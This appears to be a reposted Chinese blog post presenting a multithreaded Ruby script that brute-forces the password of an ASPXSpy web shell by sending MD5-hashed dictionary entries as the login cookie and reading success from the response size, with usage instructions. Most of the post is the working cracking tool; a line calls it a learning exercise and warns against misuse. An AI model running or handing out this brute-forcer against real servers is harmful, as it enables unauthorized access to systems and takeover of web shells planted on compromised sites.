| 关键词: 线程 aspxspy cookie http 多核 密码 threads require 登录 代码 |
看了aspxspy的验证部分代码,其实不用非要通过提取表单的用户名和密码名字去提交破解,在aspxspy在处理登录的时候,登录后会设置一个cookie值,所以通过构造cookie也可以达到目的,这代码中,我用md5将密码字典里的密码加密成MD5串,传给http对象的中的header,通过它设置当前的COOKIE,最后通过HTTP提交出去,我通过比较返回页面的内容大小判断登录成功与否,效率方面我增加了多线程支持, 可惜RUBY不是原生的多线程语言,无法充分利用CPU多核的这个特性,他仅仅是在一个单独的进程下模拟多个线程实现的。 本程序使用方法: 路径\xx.rb http://www.xxx.com/aspxspy.aspx 线程数 #转载此文请注明出处 #本代码仅仅是本人学习RUBY语言的一个练习例子,切勿拿来攻击,后果自负 require 'net/http' require 'net/https' require 'md5' def read_dict f = File.new('pass.txt') f.each do |line| $pass << line.chomp end f.close end abort "usage: \t#$0 <website>" if $*[0] == nil || $*[1] == nil thread_number = $*[1].to_i url = URI.parse($*[0]) puts "[Target] #{url.host}:#{url.port}" puts "[Path] #{url.path}" puts "[*] start crack aspxspy login passowrd" $pass = [] read_dict threads = [] a = thread_number b = 0 while a <= $pass.length/thread_number pass_sub = [] while b < a pass_sub << $pass[b] break if pass_sub.length == thread_number b += 1 end pass_sub.each do |p| threads << Thread.new(p) do |tp| #sleep(rand(0.1)) begin http = Net::HTTP.new(url.host, url.port) rescue print "[-] Http error, #{$!}" self.kill end print "[*] cracking ["+tp.chomp+"] => "+MD5.hexdigest(tp.chomp)+" " headers = { 'Cookie' => 'ASPXSpy='+MD5.hexdigest(tp.chomp) } begin resp, data = http.get(url.path, headers) #puts data #next if data.length < 4000 rescue print "[-] http response err, #{$!}" self.kill end (print "[*] Success! Current pass is #{tp.chomp} ";exit) if data.length >4000 end end a += thread_number threads.each {|te| te.join} end #threads.each {|te| te.join} |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|